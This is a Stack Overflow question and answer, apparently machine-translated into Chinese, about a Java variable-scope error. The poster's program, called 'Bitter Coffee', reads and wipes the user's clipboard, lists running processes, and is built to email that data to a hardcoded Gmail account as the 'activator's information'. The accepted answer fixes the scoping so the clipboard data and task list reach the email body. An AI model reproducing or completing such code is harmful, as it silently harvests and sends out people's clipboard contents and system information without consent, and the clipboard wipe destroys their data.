我正在编写我的第一个Java程序（希望在下个世纪掌握它），并且遇到了一些问题。当我尝试使用文本和先前创建的字符串的组合来创建字符串时，Eclipse表示无法解析变量。有人可以帮我吗？谢谢！
//Clipboard
import java.awt.Toolkit;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.StringSelection;
import java.awt.datatransfer.Transferable;
//Taskmanager
import java.io.BufferedReader;
import java.io.InputStreamReader;
//Email-er
import java.util.Properties;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.AddressException;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
/*
* Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only
* No data received from this app is used for any other purpose except the ones above
* Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)
* You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)
* Silver is NOT responsible for any damages, physical or virtual, caused by this program
* Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)
* SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])
* Copyright IdreesInc.com All rights reserved
*/
public class Application {
static Properties mailServerProperties;
static Session getMailSession;
static MimeMessage generateMailMessage;
public static void main(String args[]) throws AddressException, MessagingException {
generateAndSendEmail();
System.out.println("\n\n ===> Your Java Program has just sent an Email successfully. Check your email..");
}
public static void generateAndSendEmail() throws AddressException, MessagingException {
boolean allowEmails = false;
Transferable t = Toolkit.getDefaultToolkit().getSystemClipboard().getContents(null);
try {
if (t != null && t.isDataFlavorSupported(DataFlavor.stringFlavor)) {
String text = (String)t.getTransferData(DataFlavor.stringFlavor);
String data = text;
System.out.println("Current clipboard data:\n"+data); //Prints Clipboard data
text=""; //String is now empty
StringSelection ss = new StringSelection(text); //Clears Clipboard data
Toolkit.getDefaultToolkit().getSystemClipboard().setContents(ss, null);
System.out.println("Clipboard data wiped successfully" + text); //Displays "text" string after output for debugging
}
}
catch(Exception e)
{
}
try {
String line;
Process p = Runtime.getRuntime().exec("tasklist.exe"); //Accesses running task-list
BufferedReader input =
new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((line = input.readLine()) != null) {
System.out.println(line); //Data is parsed
}
input.close();
} catch (Exception err) {
err.printStackTrace();
}
if(allowEmails == true) {
//Step1
System.out.println("\n\n 1st ===> setup Mail Server Properties..");
mailServerProperties = System.getProperties();
mailServerProperties.put("mail.smtp.port", "587");
mailServerProperties.put("mail.smtp.auth", "true");
mailServerProperties.put("mail.smtp.starttls.enable", "true");
System.out.println("Mail Server Properties have been setup successfully..");
//Step2
System.out.println("\n\n 2nd ===> get Mail Session..");
getMailSession = Session.getDefaultInstance(mailServerProperties, null);
generateMailMessage = new MimeMessage(getMailSession);
generateMailMessage.addRecipient(Message.RecipientType.TO, new InternetAddress("javasmtpserver@gmail.com"));
generateMailMessage.setSubject("Application 'Bitter Coffee' Has Been Activated");
String emailBody = "Application 'Bitter Coffee' has been activated and has ran successfully" + "<br><br>The activators information is as follows: " + "<br>Clipboard Data: " + data + "<br>Active Tasks: " + input + "<br><br>Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only<br>No data received from this app is used for any other purpose except the ones above<br>Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)<br>You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)<br>I am not responsible for any damages, physical or virtual, caused by this program<br>Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)<br>SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])<br><br>Copyright IdreesInc.com All rights reserved";
generateMailMessage.setContent(emailBody, "text/html");
System.out.println("Mail Session has been created successfully..");
//Step3
System.out.println("\n\n 3rd ===> Get Session and Send mail");
Transport transport = getMailSession.getTransport("smtp");
// Enter your correct Gmail UserID and Password
transport.connect("smtp.gmail.com", "javasmtpserver", "serverpassword");
transport.sendMessage(generateMailMessage, generateMailMessage.getAllRecipients());
transport.close();
}
}
}
后记：这是我的第一个Stack Overflow帖子，所以如果我搞砸了，请纠正我。发布之前，我到处都在寻找问题的答案。而且我确信这是一个易于解决的问题，但是由于这是我在Java中的第一个项目，所以我很迷失。再次感谢大家，并祝您编程愉快！
后记：此代码是为我创建的一个小项目。不用担心，我不会将其用于任何邪恶的需求;）
编辑：愚蠢的我忘了给完整的错误:)
它们是：“输入不能解析为变量”
“数据无法解析为变量”
它们是“步骤2”的第六行
再次感谢！
最佳答案
在Java中，只能在定义变量的块中使用变量。
您在try块中声明变量data和input。
这意味着您只能在该块内使用它们。
如果要在步骤2中使用data和input，则应在try块之前声明它们。
要解决此问题，请执行以下操作：
public class Application {
public static main(String[] args) {
String data = null;
String commandOutput = "";
BufferedReader input = null;
try {
// do stuff
data = text;
input = // initialize buffered reader
String line = input.readLine();
while (line != null) {
commandOutput += line;
line = input.readLine();
}
}
catch (SomeSpecificException ex) {
// please handle exceptions!
}
catch (IOException ioex) {
// handle IO Exceptions here
}
finally {
try {
input.close();
}
catch (Exception ex) {
ex.printStackTrace();
}
}
.
.
.
String emailBody = "blah blah " + data + " blah blah " + commandOutput;
}
}
关于java - 变量无法解析，我们在Stack Overflow上找到一个类似的问题：https://stackoverflow.com/questions/17669626/